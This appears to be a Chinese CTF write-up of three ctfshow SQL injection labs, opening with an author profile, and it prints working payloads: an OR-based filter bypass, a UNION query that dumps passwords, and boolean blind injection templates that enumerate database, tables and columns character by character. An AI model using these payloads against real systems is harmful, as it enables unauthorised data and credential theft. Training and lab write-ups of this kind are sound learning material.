作者名:Demo不是emo
主页面链接: 主页传送门
创作初心: 舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 生命当如蜡烛,从头燃烧到尾
一、简单的逻辑绕过
题目 :web171
训练平台 :ctfshow
题目描述: 入门sql
环境容器打开如下
payload如下
1' or username='flag'%23
语句分析如下
此时的语句逻辑就是当username!='flag'和id='1'同时满足时,前半段语句为true,因为这里的username='flag',所以前半段语句自然结果为false,所以就执行username='flag'这后面半段,此时就相当于语句变为了如下
$sql = "select username,password from user where username='flag'#' limit 1;";
此时自然就绕过了前面的限制,成功读取到目标数据
二、简单的union注入
题目 :web172
训练平台 :ctfshow
题目描述: 入门sql
容器打开后页面如下
提示的sql语句
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
就是一个简单的union注入取数据,不停地找数据就行了,这里就不多讲了。payload如下
1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23
三、sql盲注基础考察
题目 :web172
训练平台 :ctfshow
题目描述: 考察sql基础,不要一把梭,没意思
环境打开如下
后端sql语句
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
经过检测就是一个简单的布尔盲注,一步一步拿数据就可以了,如下
#payload = f"1 or ascii(substr(database(),{i},1))>{mid}# " #查库
#payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#" #查表
#payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#" #查列
#payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#" #查数据
一位一位读取flag,最后拿到flag即可